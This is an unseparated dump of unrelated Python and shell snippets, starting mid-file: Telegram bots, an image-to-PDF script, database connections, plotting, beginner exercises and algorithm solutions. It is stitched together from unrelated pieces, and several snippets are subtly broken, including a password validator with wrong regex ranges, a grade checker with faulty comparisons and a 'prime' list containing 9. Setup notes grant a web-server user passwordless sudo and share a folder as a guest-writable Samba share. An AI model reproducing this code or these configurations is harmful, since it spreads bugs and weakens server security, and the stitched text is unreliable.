
chat_id = '123123123'

@bot.callback_query_handler(func=lambda call: True)
def callback_inline(call):
    
    #print(call)

    if call.data == '1':
        bot.send_message(call.message.chat.id, 'Aprobado!')
        #bot.send_message(call.from_user.id, 'Aprobado!')
    else:
        bot.send_message(call.message.chat.id, 'Rechazado!')
        #bot.send_message(call.from_user.id, 'Rechazado!')

    bot.edit_message_reply_markup(call.message.chat.id, call.message.message_id)

bot.polling()



# Client:

import telebot
import json
import sys
from telebot import types

bot_token = '99999999:xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx'
bot = telebot.TeleBot(bot_token)

chat_id = '123123123'

text = "Responda: Desea aprobar el procedimiento XXXX ??? "

markup_command = types.InlineKeyboardMarkup()

btn_p1 = types.InlineKeyboardButton(text='Lo apruebo', callback_data='1')
btn_p2 = types.InlineKeyboardButton(text='No lo apruebo', callback_data='2')
markup_command.add(btn_p1)
markup_command.add(btn_p2)

bot.send_message(chat_id, text, reply_markup=markup_command)
#!/usr/bin/env python

'''Converts sequence of images to compact PDF while removing speckles,
bleedthrough, etc.

'''

# for some reason pylint complains about members being undefined :(
# pylint: disable=E1101

from __future__ import print_function

import sys
import os
import re
import subprocess
import shlex

from argparse import ArgumentParser

import numpy as np
from PIL import Image
from scipy.cluster.vq import kmeans, vq

######################################################################

def quantize(image, bits_per_channel=None):

    '''Reduces the number of bits per channel in the given image.'''

    if bits_per_channel is None:
        bits_per_channel = 6

    assert image.dtype == np.uint8

    shift = 8-bits_per_channel
    halfbin = (1 << shift) >> 1

    return ((image.astype(int) >> shift) << shift) + halfbin

######################################################################

def pack_rgb(rgb):

    '''Packs a 24-bit RGB triples into a single integer,
works on both arrays and tuples.'''

    orig_shape = None

    if isinstance(rgb, np.ndarray):
        assert rgb.shape[-1] == 3
        orig_shape = rgb.shape[:-1]
    else:
        assert len(rgb) == 3
        rgb = np.array(rgb)

    rgb = rgb.astype(int).reshape((-1, 3))

    packed = (rgb[:, 0] << 16 |
              rgb[:, 1] << 8 |
              rgb[:, 2])

    if orig_shape is None:
        return packed
    else:
        return packed.reshape(orig_shape)

######################################################################

def unpack_rgb(packed):

    '''Unpacks a single integer or array of integers into one or more
24-bit RGB values.

    '''

    orig_shape = None

    if isinstance(packed, np.ndarray):
        assert packed.dtype == int
        orig_shape = packed.shape
        packed = packed.reshape((-1, 1))

    rgb = ((packed >> 16) & 0xff,
           (packed >> 8) & 0xff,
           (packed) & 0xff)

    if orig_shape is None:
        return rgb
    else:
        return np.hstack(rgb).reshape(orig_shape + (3,))

######################################################################

def get_bg_color(image, bits_per_channel=None):

    '''Obtains the background color from an image or array of RGB colors
by grouping similar colors into bins and finding the most frequent
one.

    '''

    assert image.shape[-1] == 3

    quantized = quantize(image, bits_per_channel).astype(int)
    packed = pack_rgb(quantized)

    unique, counts = np.unique(packed, return_counts=True)

    packed_mode = unique[counts.argmax()]

    return unpack_rgb(packed_mode)

######################################################################

def rgb_to_sv(rgb):

    '''Convert an RGB image or array of RGB colors to saturation and
value, returning each one as a separate 32-bit floating point array or
value.

    '''

    if not isinstance(rgb, np.ndarray):
        rgb = np.array(rgb)

    axis = len(rgb.shape)-1
    cmax = rgb.max(axis=axis).astype(np.float32)
    cmin = rgb.min(axis=axis).astype(np.float32)
    delta = cmax - cmin

    saturation = delta.astype(np.float32) / cmax.astype(np.float32)
    saturation = np.where(cmax == 0, 0, saturation)

    value = cmax/255.0

    return saturation, value

######################################################################

def postprocess(output_filename, options):

    '''Runs the postprocessing command on the file provided.'''

    assert options.postprocess_cmd

    base, _ = os.path.splitext(output_filename)
    post_filename = base + options.postprocess_ext

    cmd = options.postprocess_cmd
    cmd = cmd.replace('%i', output_filename)
    cmd = cmd.replace('%o', post_filename)
    cmd = cmd.replace('%e', options.postprocess_ext)

    subprocess_args = shlex.split(cmd)

    if os.path.exists(post_filename):
        os.unlink(post_filename)

    if not options.quiet:
        print('  running "{}"...'.format(cmd), end=' ')
        sys.stdout.flush()

    try:
        result = subprocess.call(subprocess_args)
        before = os.stat(output_filename).st_size
        after = os.stat(post_filename).st_size
    except OSError:
        result = -1

    if result == 0:

        if not options.quiet:
            print('{:.1f}% reduction'.format(
                100*(1.0-float(after)/before)))

        return post_filename

    else:

        sys.stderr.write('warning: postprocessing failed!\n')
        return None

######################################################################

def percent(string):
    '''Convert a string (i.e. 85) to a fraction (i.e. .85).'''
    return float(string)/100.0

######################################################################

def get_argument_parser():

    '''Parse the command-line arguments for this program.'''

    parser = ArgumentParser(
        description='convert scanned, hand-written notes to PDF')

    show_default = ' (default %(default)s)'

    parser.add_argument('filenames', metavar='IMAGE', nargs='+',
                        help='files to convert')

    parser.add_argument('-q', dest='quiet', action='store_true',
                        default=False,
                        help='reduce program output')

    parser.add_argument('-b', dest='basename', metavar='BASENAME',
                        default='page',
                        help='output PNG filename base' + show_default)

    parser.add_argument('-o', dest='pdfname', metavar='PDF',
                        default='output.pdf',
                        help='output PDF filename' + show_default)

    parser.add_argument('-v', dest='value_threshold', metavar='PERCENT',
                        type=percent, default='25',
                        help='background value threshold %%'+show_default)

    parser.add_argument('-s', dest='sat_threshold', metavar='PERCENT',
                        type=percent, default='20',
                        help='background saturation '
                        'threshold %%'+show_default)

    parser.add_argument('-n', dest='num_colors', type=int,
                        default='8',
                        help='number of output colors '+show_default)

    parser.add_argument('-p', dest='sample_fraction',
                        metavar='PERCENT',
                        type=percent, default='5',
                        help='%% of pixels to sample' + show_default)

    parser.add_argument('-w', dest='white_bg', action='store_true',
                        default=False, help='make background white')

    parser.add_argument('-g', dest='global_palette',
                        action='store_true', default=False,
                        help='use one global palette for all pages')

    parser.add_argument('-S', dest='saturate', action='store_false',
                        default=True, help='do not saturate colors')

    parser.add_argument('-K', dest='sort_numerically',
                        action='store_false', default=True,
                        help='keep filenames ordered as specified; '
                        'use if you *really* want IMG_10.png to '
                        'precede IMG_2.png')

    parser.add_argument('-P', dest='postprocess_cmd', default=None,
                        help='set postprocessing command (see -O, -C, -Q)')

    parser.add_argument('-e', dest='postprocess_ext',
                        default='_post.png',
                        help='filename suffix/extension for '
                        'postprocessing command')

    parser.add_argument('-O', dest='postprocess_cmd',
                        action='store_const',
                        const='optipng -silent %i -out %o',
                        help='same as -P "%(const)s"')

    parser.add_argument('-C', dest='postprocess_cmd',
                        action='store_const',
                        const='pngcrush -q %i %o',
                        help='same as -P "%(const)s"')

    parser.add_argument('-Q', dest='postprocess_cmd',
                        action='store_const',
                        const='pngquant --ext %e %i',
                        help='same as -P "%(const)s"')

    parser.add_argument('-c', dest='pdf_cmd', metavar="COMMAND",
                        default='convert %i %o',
                        help='PDF command (default "%(default)s")')

    return parser

######################################################################

def get_filenames(options):

    '''Get the filenames from the command line, optionally sorted by
number, so that IMG_10.png is re-arranged to come after IMG_9.png.
This is a nice feature because some scanner programs (like Image
Capture on Mac OS X) automatically number files without leading zeros,
and this way you can supply files using a wildcard and still have the
pages ordered correctly.

    '''

    if not options.sort_numerically:
        return options.filenames

    filenames = []

    for filename in options.filenames:
        basename = os.path.basename(filename)
        root, _ = os.path.splitext(basename)
        matches = re.findall(r'[0-9]+', root)
        if matches:
            num = int(matches[-1])
        else:
            num = -1
        filenames.append((num, filename))

    return [fn for (_, fn) in sorted(filenames)]

######################################################################

def load(input_filename):

    '''Load an image with Pillow and convert it to numpy array. Also
returns the image DPI in x and y as a tuple.'''

    try:
        pil_img = Image.open(input_filename)
    except IOError:
        sys.stderr.write('warning: error opening {}\n'.format(
            input_filename))
        return None, None

    if pil_img.mode != 'RGB':
        pil_img = pil_img.convert('RGB')

    if 'dpi' in pil_img.info:
        dpi = pil_img.info['dpi']
    else:
        dpi = (300, 300)

    img = np.array(pil_img)

    return img, dpi

######################################################################

def sample_pixels(img, options):

    '''Pick a fixed percentage of pixels in the image, returned in random
order.'''

    pixels = img.reshape((-1, 3))
    num_pixels = pixels.shape[0]
    num_samples = int(num_pixels*options.sample_fraction)

    idx = np.arange(num_pixels)
    np.random.shuffle(idx)

    return pixels[idx[:num_samples]]

######################################################################

def get_fg_mask(bg_color, samples, options):

    '''Determine whether each pixel in a set of samples is foreground by
comparing it to the background color. A pixel is classified as a
foreground pixel if either its value or saturation differs from the
background by a threshold.'''

    s_bg, v_bg = rgb_to_sv(bg_color)
    s_samples, v_samples = rgb_to_sv(samples)

    s_diff = np.abs(s_bg - s_samples)
    v_diff = np.abs(v_bg - v_samples)

    return ((v_diff >= options.value_threshold) |
            (s_diff >= options.sat_threshold))

######################################################################

def get_palette(samples, options, return_mask=False, kmeans_iter=40):

    '''Extract the palette for the set of sampled RGB values. The first
palette entry is always the background color; the rest are determined
from foreground pixels by running K-means clustering. Returns the
palette, as well as a mask corresponding to the foreground pixels.

    '''

    if not options.quiet:
        print('  getting palette...')

    bg_color = get_bg_color(samples, 6)

    fg_mask = get_fg_mask(bg_color, samples, options)

    centers, _ = kmeans(samples[fg_mask].astype(np.float32),
                        options.num_colors-1,
                        iter=kmeans_iter)

    palette = np.vstack((bg_color, centers)).astype(np.uint8)

    if not return_mask:
        return palette
    else:
        return palette, fg_mask

######################################################################

def apply_palette(img, palette, options):

    '''Apply the pallete to the given image. The first step is to set all
background pixels to the background color; then, nearest-neighbor
matching is used to map each foreground color to the closest one in
the palette.

    '''

    if not options.quiet:
        print('  applying palette...')

    bg_color = palette[0]

    fg_mask = get_fg_mask(bg_color, img, options)

    orig_shape = img.shape

    pixels = img.reshape((-1, 3))
    fg_mask = fg_mask.flatten()

    num_pixels = pixels.shape[0]

    labels = np.zeros(num_pixels, dtype=np.uint8)

    labels[fg_mask], _ = vq(pixels[fg_mask], palette)

    return labels.reshape(orig_shape[:-1])

######################################################################

def save(output_filename, labels, palette, dpi, options):

    '''Save the label/palette pair out as an indexed PNG image.  This
optionally saturates the pallete by mapping the smallest color
component to zero and the largest one to 255, and also optionally sets
the background color to pure white.

    '''

    if not options.quiet:
        print('  saving {}...'.format(output_filename))

    if options.saturate:
        palette = palette.astype(np.float32)
        pmin = palette.min()
        pmax = palette.max()
        palette = 255 * (palette - pmin)/(pmax-pmin)
        palette = palette.astype(np.uint8)

    if options.white_bg:
        palette = palette.copy()
        palette[0] = (255, 255, 255)

    output_img = Image.fromarray(labels, 'P')
    output_img.putpalette(palette.flatten())
    output_img.save(output_filename, dpi=dpi)

######################################################################

def get_global_palette(filenames, options):

    '''Fetch the global palette for a series of input files by merging
their samples together into one large array.

    '''

    input_filenames = []

    all_samples = []

    if not options.quiet:
        print('building global palette...')

    for input_filename in filenames:

        img, _ = load(input_filename)
        if img is None:
            continue

        if not options.quiet:
            print('  processing {}...'.format(input_filename))

        samples = sample_pixels(img, options)
        input_filenames.append(input_filename)
        all_samples.append(samples)

    num_inputs = len(input_filenames)

    all_samples = [s[:int(round(float(s.shape[0])/num_inputs))]
                   for s in all_samples]

    all_samples = np.vstack(tuple(all_samples))

    global_palette = get_palette(all_samples, options)

    if not options.quiet:
        print('  done\n')

    return input_filenames, global_palette

######################################################################

def emit_pdf(outputs, options):

    '''Runs the PDF conversion command to generate the PDF.'''

    cmd = options.pdf_cmd
    cmd = cmd.replace('%o', options.pdfname)
    if len(outputs) > 2:
        cmd_print = cmd.replace('%i', ' '.join(outputs[:2] + ['...']))
    else:
        cmd_print = cmd.replace('%i', ' '.join(outputs))
    cmd = cmd.replace('%i', ' '.join(outputs))

    if not options.quiet:
        print('running PDF command "{}"...'.format(cmd_print))

    try:
        result = subprocess.call(shlex.split(cmd))
    except OSError:
        result = -1

    if result == 0:
        if not options.quiet:
            print('  wrote', options.pdfname)
    else:
        sys.stderr.write('warning: PDF command failed\n')

######################################################################

def notescan_main(options):

    '''Main function for this program when run as script.'''

    filenames = get_filenames(options)

    outputs = []

    do_global = options.global_palette and len(filenames) > 1

    if do_global:
        filenames, palette = get_global_palette(filenames, options)

    do_postprocess = bool(options.postprocess_cmd)

    for input_filename in filenames:

        img, dpi = load(input_filename)
        if img is None:
            continue

        output_filename = '{}{:04d}.png'.format(
            options.basename, len(outputs))

        if not options.quiet:
            print('opened', input_filename)

        if not do_global:
            samples = sample_pixels(img, options)
            palette = get_palette(samples, options)

        labels = apply_palette(img, palette, options)

        save(output_filename, labels, palette, dpi, options)

        if do_postprocess:
            post_filename = postprocess(output_filename, options)
            if post_filename:
                output_filename = post_filename
            else:
                do_postprocess = False

        outputs.append(output_filename)

        if not options.quiet:
            print('  done\n')

    emit_pdf(outputs, options)

######################################################################

def main():
    '''Parse args and call notescan_main().'''
    notescan_main(options=get_argument_parser().parse_args())

if __name__ == '__main__':
    main()
#from bash command line
#first create folder to save python dependencies:

    > sudo mkdir /var/www/.local
    > sudo mkdir /var/www/.cache
    > sudo chown www-data.www-data /var/www/.local
    > sudo chown www-data.www-data /var/www/.cache

# then install dependencies (imports):

    > sudo -H -u www-data pip install <dep1>
    > sudo -H -u www-data pip install <dep2>
    :
    
# then set user permissions to run your script to www-data user:
# creating a file at /etc/sudoers.d/:

    > sudo nano /etc/sudoers.d/mysudoerfile
    
    www-data ALL=(ALL) NOPASSWD: /usr/bin/python <path of your script here>

# then set execute permissions to your script:

    sudo chmod +x <path of your script here>

# then run your script 
#just install samba with

$ sudo apt install samba

#and go to this file:

$ sudo nano /etc/samba/smb.conf

#and just at the bottom add these lines:

    [share]
    comment = Ubuntu File Server Share
    path = /path/to/the/folder  #for example /home/user_name/public
    browsable = yes
    guest ok = yes
    read only = no
    create mask = 0755

#restart the samba service

$ sudo service smbd restart
$ sudo service nmbd restart
#!/usr/bin/env python
# -*- coding: utf-8 -*-

"""
requires:

1) Install Linux dependences (search for specific linux distro instructions for this):
python-dev, python-pip, freetds-dev, freetds-bin, libaio1

2) Install instantclient-basic-lite
follow these instructions:

http://www.oracle.com/technetwork/database/features/linuxx86-64soft-092277.html?printOnly=1
(go to "Installation of ZIP files" section at the bottom of document)

3) Install python includes:

sudo -H pip install cx_Oracle
sudo -H pip install pymssql

"""

import cx_Oracle
import pymssql

""" ====== let's connect to Oracle DB Server ====="""

orcl_host = "host1"
orcl_port = 1521
orcl_user = "user1"
orcl_pwd  = "password1"
orcl_dbn  = "service_name"

connstr = orcl_user+"/"+orcl_pwd+"@"+orcl_host+":"+str(orcl_port)+"/"+orcl_dbn
orcl = cx_Oracle.connect(connstr)

#If all is correct we will see and object print:

print(orcl)

"""===== let's connect to sqlsvr: ====="""

sql_host = "host2"
sql_user = "user2"
sql_pwd  = "password2"
sql_dbn  = "database_name"

conexion_sql = pymssql.connect(sql_host, sql_user, sql_pwd, sql_dbn)

#If all is correct we will see and object print:

print(conexion_sql)

# Setup fake key in both DataFrames to join on it

df1['key'] = 0
df2['key'] = 0

df1.merge(df2, on='key', how='outer')
[name for name,para in model.named_parameters() if para.grad==None]
TORCH_DISTRIBUTED_DEBUG=DETAIL bash train.sh 
num_folds = 10
kfold = KFold(n_splits=num_folds, shuffle=True)
# K-fold Cross Validation model evaluation
fold_no = 1
histories = {'accuracy':[], 'loss':[], 'val_accuracy':[], 'val_loss':[]}

for train, test in kfold.split(X, label):
  print("---"*20)
  history = siamese.fit(
      [tf.gather(X[:,0], train),tf.gather(X[:,1], train)],
      tf.gather(label, train),
      validation_data=([tf.gather(X[:,0], test),tf.gather(X[:,1], test)], tf.gather(label, test)),
      batch_size=batch_size,
      epochs=epochs,
  )
  histories['accuracy'].append(history.history['accuracy'])
  histories['loss'].append(history.history['loss'])
  histories['val_accuracy'].append(history.history['val_accuracy'])
  histories['val_loss'].append(history.history['val_loss'])
with open('./trainHistoryDict', 'wb') as file_pi:
      pickle.dump(histories, file_pi)
from tkinter import *                  # =================== مرحله 1
# writing code needs to
# create the main window of
# the application creating
# main window object named root
root = Tk()                             # ======================  مرحله 2
# giving title to the main window
root.title("First_Program")
# Label is what output will be
# show on the window
label = Label(root, text ="Hello World !").pack()      #===== مرحله 3
# calling mainloop method which is used
# when your application is ready to run
# and it tells the code to keep displaying
root.mainloop()                        #===================== مرحله 4
import requests

url = 'SOME URL'

headers = {
    'User-Agent': 'My User Agent 1.0',
    'From': 'youremail@domain.example'  # This is another valid field
}

response = requests.get(url, headers=headers)
from selenium import webdriver
import requests

driver = webdriver.Chrome()
driver.get("https://www.linkedin.com/uas/login?")

s = requests.Session()
# Set correct user agent
selenium_user_agent = driver.execute_script("return navigator.userAgent;")
s.headers.update({"user-agent": selenium_user_agent})

for cookie in driver.get_cookies():
    s.cookies.set(cookie['name'], cookie['value'], domain=cookie['domain'])

response = s.get("https://linkedin/example_page.com")
import seaborn as sns

penguins = sns.load_dataset('penguins')
ax = sns.histplot(data=penguins, x="flipper_length_mm", kde=True,
                  line_kws={'color': 'crimson', 'lw': 5, 'ls': ':'})
from bokeh.plotting import figure, output_file, show
xs = [[5,3,4], [2,4,3], [2,3,5,4]]
ys = [[6,4,2], [3,6,7], [2,4,7,8]]
fig = figure()
fig.patches(xs, ys, fill_color = ['red', 'blue', 'black'], line_color = 'white')
output_file('patch_plot.html')
show(fig)
from bokeh.plotting import figure, output_file, show
fig = figure(plot_width = 200, plot_height = 400)
fig.vbar(x = [1,2,3], width = 0.5, bottom = 0, top = [2,4,6], color = "Cyan")
output_file('bar.html')
show(fig)
from bokeh.plotting import figure, output_file, show
fig = figure(plot_width = 400, plot_height = 200)
fig.hbar(y = [2,4,6], height = 1, left = 0, right = [1,2,3], color = "Cyan")
output_file('bar.html')
show(fig)
from bokeh.plotting import figure, output_file, show
x = [1,2,3,4,5]
y = [2,4,6,8,10]
output_file('line.html')
fig = figure(title = 'Line Plot example', x_axis_label = 'x', y_axis_label = 'y')
fig.line(x,y)
show(fig)
import re

print('Welcome to temperature converter. Please enter your input in this format: 40.0F, 35C, 0.50F etc.')

temperature = input("Please enter temperature in Farenheit or Celcius to convert:\n")

pattern = re.compile("^([+-]?[0-9]+(?:\.[0-9]*)?)\s*([CF])$")

found = re.findall(pattern, temperature)

if len(found) > 0:

    temp = float(found[0][0])
    conversion = found[0][1]

    if conversion == 'C':
        fahrenheit = (temp * 9 / 5) + 32
        print(f"{temp: .2f} Celcius is equivalent to {fahrenheit: .2f} Farenheit")
    elif conversion == 'F':
        celcius = (temp - 32) * 5 / 9
        print(f"{temp: .2f} Farenheit is equivalent to {celcius: .2f} Celcius")


else:
    print(f"""Expecting a number followed by "C" or "F" \n I don't understand your input: {temperature}""")
import random

#you can pass these message in the variables below right inside the print function
#but i decided to put them in a variable
small = 'is small'
large = 'is large'

number = random.randrange(1, 10)
guess = int(input('Enter any number: '))
while number != guess:
    if guess < number:
        print(guess, small)
        guess = int(input('Enter number again: '))
    elif guess > number:
        print(guess, large)
        guess = int(input('Enter number again: '))
    else:
        break
print('You guessed it right,', guess, '=', number)
# selenium 4
from selenium import webdriver
from selenium.webdriver.chrome.service import Service as ChromeService
from webdriver_manager.chrome import ChromeDriverManager

driver = webdriver.Chrome(service=ChromeService(ChromeDriverManager().install()))
import urllib.request

url = 'https://pdf_file_path/filename.pdf'

urllib.request.urlretrieve(url, 'filename.pdf')
date_from=(pd.Timestamp.today()-pd.Timedelta(30,'d')).strftime('%Y-%m-%d')
while True:
    try:
        marks = int(input("Enter your marks 0 to 100 to see your grade: "))
    except ValueError:
        print('Invalid input, try again')
        continue
    else:
        break
if marks > 100:
    print('Invalid marks')   
elif marks > 90 < 100:
    print('Grade A')
elif marks > 80 <= 90:
    print('Grade B')
elif marks >= 60 <= 80:
    print('Grade C')
elif marks < 60:
    print('Grade D')
else:
    print('You have failed')
import turtle
import random

w = 500
h = 500
food_size = 20
delay = 100

offsets = {
    "up": (0, 20),
    "down": (0, -20),
    "left": (-20, 0),
    "right": (20, 0)
}

def reset():
    global snake, snake_dir, food_position, pen
    snake = [[0, 0], [0, 20], [0, 40], [0, 60], [0, 80]]
    snake_dir = "up"
    food_position = get_random_food_position()
    food.goto(food_position)
    move_snake()
    
def move_snake():
    global snake_dir
    
    new_head = snake[-1].copy()
    new_head[0] = snake[-1][0] + offsets[snake_dir][0]
    new_head[1] = snake[-1][1] + offsets[snake_dir][1]
    
    if new_head in snake[:-1]:
        reset()
    else:
        snake.append(new_head)
        
        if not food_collision():
            snake.pop(0)
        if snake[-1] [0] > w / 2:
            snake[-1] [0] -= w
        elif snake[-1] [0] < - w /2:
            snake[-1] [0] += w
        elif snake[-1] [1] > h / 2:
            snake[-1] [1] -= h
        elif snake[-1] [1] < - h / 2:
            snake[-1] [1] += h
        
        pen.clearstamps()
        
        for segment in snake:
            pen.goto(segment[0], segment[1])
            pen.stamp()
        
        screen.update()
        
        turtle.ontimer(move_snake, delay)
        
def food_collision():
    global food_position
    if get_distance(snake[-1], food_position) < 20:
        food_position = get_random_food_position()
        food.goto(food_position)
        return True
    return False
    
def get_random_food_position():
    x = random.randint (- w / 2 + food_size, w / 2 - food_size)
    y = random.randint (- h / 2 + food_size, h / 2 - food_size)
    return(x, y)
    
def get_distance(pos1, pos2):
    x1, y1 = pos1
    x2, y2 = pos2
    distance = ((y2 - y1) ** 2 + (x2 - x1) ** 2) ** 0.5
    return distance

def go_up():
    global snake_dir
    if snake_dir != "down":
        snake_dir = "up"
            
def go_right():
    global snake_dir
    if snake_dir != "left":
        snake_dir = "right"
            
def go_down():
    global snake_dir
    if snake_dir != "up":
        snake_dir = "down"
            
def go_left():
    global snake_dir
    if snake_dir != "right":
        snake_dir = "left"
            
screen = turtle.Screen()
screen.setup(w, h)
screen.title("Snake Game")
screen.bgcolor("cyan")
screen.setup(500, 500)
screen.tracer(0)
    
pen = turtle.Turtle("square")
pen.color("red")
pen.penup()
    
food = turtle.Turtle()
food.shape("circle")
food.color("orange")
food.shapesize(food_size / 20)
food.penup()
    
screen.listen()
screen.onkey(go_up, "Up")
screen.onkey(go_right, "Right")
screen.onkey(go_down, "Down")
screen.onkey(go_left, "Left")
    
reset()
turtle.done()
import turtle
import colorsys

t = turtle.Turtle()
s = turtle.Screen()
s.bgcolor('black')
t.speed(0)
n = 36
h = 0
for i in range(360):
    c = colorsys.hsv_to_rgb(h, 1, 0.8)
    h+= 1/n
    t.color(c)
    t.circle(180)
    t.left(10)
import re
p = input('Input your password: ')
x = True
while x:
    if(len(p)<6 or len(p)>12):
        break
    elif not re.search('[a - z]', p):
        break
    elif not re.search('[0 - 9]', p):
        break
    elif not re.search('[A - Z]', p):
        break
    elif not re.search('[$#@]', p):
        break
    elif not re.search('\s', p):
        break
    else:
        print('Valid Password')
        x = False
        break
if x:
    print('Not a Valid Password')
kilometers = float(input('Enter value in kilometer: '))
conv_fac = 0.621371

miles = kilometers * conv_fac
print(kilometers,'kilometers is equal to', miles, 'miles')
vowels = ['a', 'e', 'i', 'o', 'u']
word = 'enter'
found = []
for letter in word:
    if letter in vowels:
        if letter not in found:
            found.append(letter)
for vowel in found:
    print(vowel)
else:
    print('No vowels found')
import streamlit as st #import streamlit right after installing it to the system

st.header('''Temperature Conversion App''') #Head / App title

#Converting temperature to Fahrenheit 
st.write('''Slide to convert Celcius to Fahrenheit''')
value = st.slider('Temperature in Celcius')
 
st.write(value, '°C is ', (value * 9/5) + 32, '°F')
st.write('Conversion formula: (°C x 9/5) + 32 = °F')
 
#Converting temperature to Celcius
st.write('''Slide to convert Fahrenheit to Celcius''')
value = st.slider('Temperature in Fahrenheit')
 
st.write(value, '°F is ', (value - 32) * 5/9, '°C')
st.write('Conversion formula: (°F - 32) x 5/9 = °C')
fruits = ['cherry', 'apple', 'pear', 'kiwi', 'watermelon']

a, b, c = fruits

print(a)
print(b)
print(c)
import webbrowser

#favorite browser 
webbrowser.open('https://www.chrome.com')
 """ 
'UserWarning: pyproj unable to set database path.' <- This happens with multiple pyproj installations on the same machine, which is quite common, as almost every geo software depends on it.

How to fix:
First, find all copies of 'proj.db' on the machine. Get the path for the correct one, which is probably something like 'C:/Users/Clemens Berteld/.conda/pkgs/proj-8.2.0-h1cfcee9_0/Library/share/proj'. Definitively not a QGIS or PostGIS path.

Then, use it as a parameter for this function and run it at the top of your code:
"""

def set_pyproj_path(proj_path):
    from pyproj import datadir
    datadir.set_data_dir(proj_path)
    # print(datadir.get_data_dir.__doc__)
class Solution:
    def lastStoneWeight(self, stones: List[int]) -> int:
        stones = [-s for s in stones] 
        heapq.heapify(stones)
        
        while len(stones) > 1: 
            first = abs(heapq.heappop(stones)) #linear time for python 
            second = abs(heapq.heappop(stones))
            
            
            if first > second: 
                heapq.heappush(stones, second - first) #remember that since it's a minHeap we need negative numbers so it's second - first 
        
        #edge case to account if stones is empty whether originally or after smashing 
        stones.append(0)
        
        return abs(stones[0])
def solution(s, t):
    result = []
    for i in range(len(s)):
        if s[i] in t:
            coll = set()
            for j in range(i, len(s)):
                if s[j] in t:
                    coll.add(s[j])
                    if len(coll) == len(t):
                        result.append(s[i:j+1])
    if result:
        return min(result, key=len)
    
    return ""
    


import sys
import time
import random
import datetime
import telepot

def handle(msg):
    chat_id = msg['chat']['id']
    command = msg['text']

    print 'Got command: %s' % command

    if command == 'command1':
        bot.sendMessage(chat_id, *******)
    elif command == 'command2':
        bot.sendMessage(chat_id, ******)
    elif command == 'photo':
        bot.sendPhoto(...)

bot = telepot.Bot('*** INSERT TOKEN ***')
bot.message_loop(handle)
print 'I am listening ...'

while 1:
    time.sleep(10)
# create a list
prime_numbers = [2, 3, 5, 7, 9, 11]

# remove 9 from the list
prime_numbers.remove(9)


# Updated prime_numbers List
print('Updated List: ', prime_numbers)

# Output: Updated List:  [2, 3, 5, 7, 11]
class KthLargest:
	
    #Big O: n 
    def __init__(self, k: int, nums: List[int]): 
        #minHeap with k largest integers 
        
        self.minHeap, self.k = nums, k 
        heapq.heapify(self.minHeap) 
        
        while len(self.minHeap) > k: 
            heapq.heappop(self.minHeap) 
            
        

    #Big O: log N 
    def add(self, val: int) -> int:
        heapq.heappush(self.minHeap, val) 
        
        if len(self.minHeap) > self.k: 
            heapq.heappop(self.minHeap)
        
        return self.minHeap[0]
    

#Total big O: n log n 
    
    
    
# Your KthLargest object will be instantiated and called as such:
# obj = KthLargest(k, nums)
# param_1 = obj.add(val)
from sklearn.model_selection import train_test_split
X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.33, random_state=42)
import psycopg2

con = psycopg2.connect(database="pegasus", user=dbutils.secrets.get(scope = "dfh-prdsrc-keyvault-01", key = "user-pgsus-prd-02"), password=dbutils.secrets.get(scope = "dfh-prdsrc-keyvault-01", key = "pass-pgsus-prd-02"), host="pgsus-prd-dbpgres-01.postgres.database.azure.com", port="5432")

cur = con.cursor()

#cur.execute("UPDATE public.dc_parametrization set is_active= 'Y' where folder_name='sysgrid'")#.format(raw_table_name))
#cur.execute("UPDATE public.dc_parametrization set initial_load_flg = 'Y' where folder_name= 'sim-f'")#.format(raw_table_name))
cur.execute("UPDATE public.dc_parametrization set initial_load_flg = 'Y' where folder_name= 'q16_senv'")#.format(raw_table_name))
#cur.execute("UPDATE public.dc_parametrization set initial_load_flg = 'Y' where folder_name= 'jump'")#.format(raw_table_name))
#cur.execute("select * from public.dc_parametrization where folder_name= 'senv-sgcc'")

con.commit()
from pyspark.sql import functions as F
import pyspark.sql.types as Dtype
 
columns_to_normalize = ["MakeText", "BodyColorText"]
col_to_settings = dict({
        
    "MakeText": dict(
        {
            "MERCEDES-BENZ": "Mercedes",
            "FERRARI": "Ferrari"
        }
    ),
    "BodyColorText": dict(
        {
            "schwarz": "Black",
            "schwarz mét.": "Black",
            "braun": "Brown",
            "braun mét.": "Brown",
            "orange": "Orange"
        }
    )
})
 
def normalizer(value, col):
 
    settings = col_to_settings.get(col).get(value)
    return str(settings)
    
##normalize_column = udf(lambda x: normalizer(x, col), Dtype.StringType())
 
pre = spark.read.option("header","true").format("csv").load("/mnt/mducdevdl/mdu/valid/viaturas.csv")
 
for col in columns_to_normalize:
  print(col)
  
  normalize_column = udf(lambda x: normalizer(x, col), Dtype.StringType())
 
  pre = pre.withColumn(col, normalize_column(pre[col]))
  pre.select(col).distinct().show()
# Connect to GCP
from google.colab import auth
# follow the link and get a token
auth.authenticate_user()
# !pip install -q kaggle-cli
!pip install -qq kaggle
!mkdir -p ~/.kaggle
!cp "/content/drive/MyDrive/kaggle.json" ~/.kaggle/
!chmod 600 ~/.kaggle/kaggle.json
from google.colab import drive
drive.mount('/content/drive' , force_remount=True)
class Solution:
    def binarySearch(self, nums, target):
        start, end = 0, len(nums) - 1 

        while start <= end: 
            middle = (start + end) // 2 
            current = nums[middle] 

            if target > current: 
                start = middle + 1 
            elif target < current: 
                end = middle - 1 
            else: 
                return middle
                #return current if you want value instead of index 
        return -1 
    
    
    def search(self, nums: List[int], target: int) -> int:
        if len(nums) == 0: 
            return -1 
        elif len(nums) == 1: 
            if nums[0] != target: 
                return -1 
            else: 
                return 0 
        else: 
            rotated = False
            lastIdx = len(nums) - 1 

            if nums[lastIdx] < nums[0]: 
                rotated = True 

            if rotated == False: 
                return self.binarySearch(nums, target) 
            else: 
                previous = nums[0]
                rotateIdx = 0 
                for i in range(1, len(nums)): 
                    if nums[i] < previous: 
                        rotateIdx = i 
                    previous = nums[i]
                    
                array1 = nums[:rotateIdx]
                array1Length = len(array1)
                array2 = nums[rotateIdx:] 

                if self.binarySearch(array1, target) == -1 and self.binarySearch(array2, target) != -1: 
                    return array1Length + self.binarySearch(array2, target)
                return self.binarySearch(array1, target)
# Definition for singly-linked list.
# class ListNode:
#     def __init__(self, val=0, next=None):
#         self.val = val
#         self.next = next
class Solution:
    def removeNthFromEnd(self, head: Optional[ListNode], n: int) -> Optional[ListNode]:
        dummy = ListNode(0, head)
        left = dummy 
        right = head #we actually want right to be head + n 
        
        #setting right to be head + n 
        while n > 0 and right: 
            right = right.next 
            n -= 1 
        
        #this should get left at previous and right at after thanks to dummy node we inserted 
        while right: 
            left = left.next
            right = right.next 
        
